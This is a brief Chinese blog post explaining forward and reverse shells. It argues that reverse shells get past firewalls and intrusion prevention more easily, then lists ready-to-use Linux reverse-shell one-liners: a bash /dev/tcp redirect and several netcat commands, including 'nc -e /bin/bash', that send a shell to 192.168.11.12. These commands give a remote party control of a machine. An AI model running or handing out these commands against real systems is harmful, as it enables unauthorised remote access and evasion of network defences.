Advertisement

shell的正向与反向操作

阅读量:

正向shell与反向shell
正向shell:由控制方率先发起与目标设备的连接请求
反向shell:目标设备自主建立与控制方的通信链路
在实际操作过程中,反向shell的应用更为普遍,主要由于正向shell在实施过程中面临诸多阻碍因素,例如硬件设施配备的防火墙、入侵防御机制等安全防护手段,以及网站防火墙、端口被占用、权限不足等多种情形。尤其是针对硬件设备而言,若正向连接被防火墙拦截,极易暴露攻击行为,从而引发后续攻击操作的复杂化。
反向shell:目标设备主动向外传输的数据包通常能够绕过常规拦截措施。

反向shell示例如下

Linux系统中常见的反向shell实现方式
基于bash的反弹shell

复制代码
    nc -lvp 4444
    bash -i>& /dev/tcp/192.168.11.12/4444 0>&1
    
    
      
      
    

nc实现反向shell连接

复制代码
    nc -lvp 4444   
    
    nc 192.168.11.12 666 
    /bin/bash |nc 192.168.11.12 666
    nc 192.168.11.12 999 -e /bin/bash  Linux
    
    

全部评论 (0)

还没有任何评论哟~